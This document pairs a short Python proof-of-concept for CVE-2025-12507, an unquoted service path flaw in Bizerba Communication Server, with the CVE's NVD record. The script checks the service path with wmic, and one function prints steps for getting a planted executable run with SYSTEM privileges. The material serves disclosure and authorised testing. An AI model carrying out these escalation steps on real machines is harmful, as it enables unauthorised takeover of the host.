CVE-2025-12507

#!/usr/bin/env python3 """ CVE-2025-12507 PoC - Bizerba Communication Server Unquoted Service Path This PoC demonstrates how to check for unquoted service paths in Windows. Note: This is for educational and authorized testing purposes only. """ import subprocess import sys def check_unquoted_service_path(service_name): """ Query Windows service configuration to check for unquoted paths. """ try: cmd = f'wmic service where "name=\\'{service_name}\\'" get pathname,state,startmode' result = subprocess.check_output(cmd, shell=True, text=True) print(f"[+] Service: {service_name}") print(result) # Check if path contains spaces and is not quoted lines = result.strip().split('\n') if len(lines) > 1: path_info = lines[1].strip() if ' ' in path_info and not path_info.startswith('"'): print(f"[!] VULNERABLE: Unquoted path with spaces detected!") print(f"[!] Path: {path_info}") return True except Exception as e: print(f"[-] Error: {e}") return False def exploit_unquoted_path(target_path, malicious_exe): """ Simulate exploitation by copying malicious exe to intermediate path. WARNING: This is for authorized testing only. """ print(f"[!] To exploit this vulnerability:") print(f"[!] 1. Identify an intermediate directory with write permissions") print(f"[!] 2. Place malicious executable in: {target_path}") print(f"[!] 3. Wait for service restart or trigger restart") print(f"[!] 4. Malicious code will execute with SYSTEM privileges") if __name__ == "__main__": # Check for Bizerba Communication Server service_name = "BCS" # Adjust service name as needed if check_unquoted_service_path(service_name): print("\n[+] Vulnerability confirmed!") else: print("[-] Service not found or not vulnerable")

{"cve": {"id": "CVE-2025-12507", "sourceIdentifier": "0beee27a-7d8c-424f-8e46-ac453fa147e6", "published": "2025-10-31T16:15:39.447", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The service Bizerba Communication Server (BCS) has an unquoted service path. Due to the way Windows searches the executable for the BCS service, malicious programs can be executed."}], "metrics": {"cvssMetricV31": [{"source": "0beee27a-7d8c-424f-8e46-ac453fa147e6", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.0, "impactScore": 6.0}]}, "weaknesses": [{"source": "0beee27a-7d8c-424f-8e46-ac453fa147e6", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-428"}]}], "references": [{"url": "https://www.bizerba.com/downloads/global/information-security/2025/bizerba-sa-2025-0005.pdf", "source": "0beee27a-7d8c-424f-8e46-ac453fa147e6"}]}}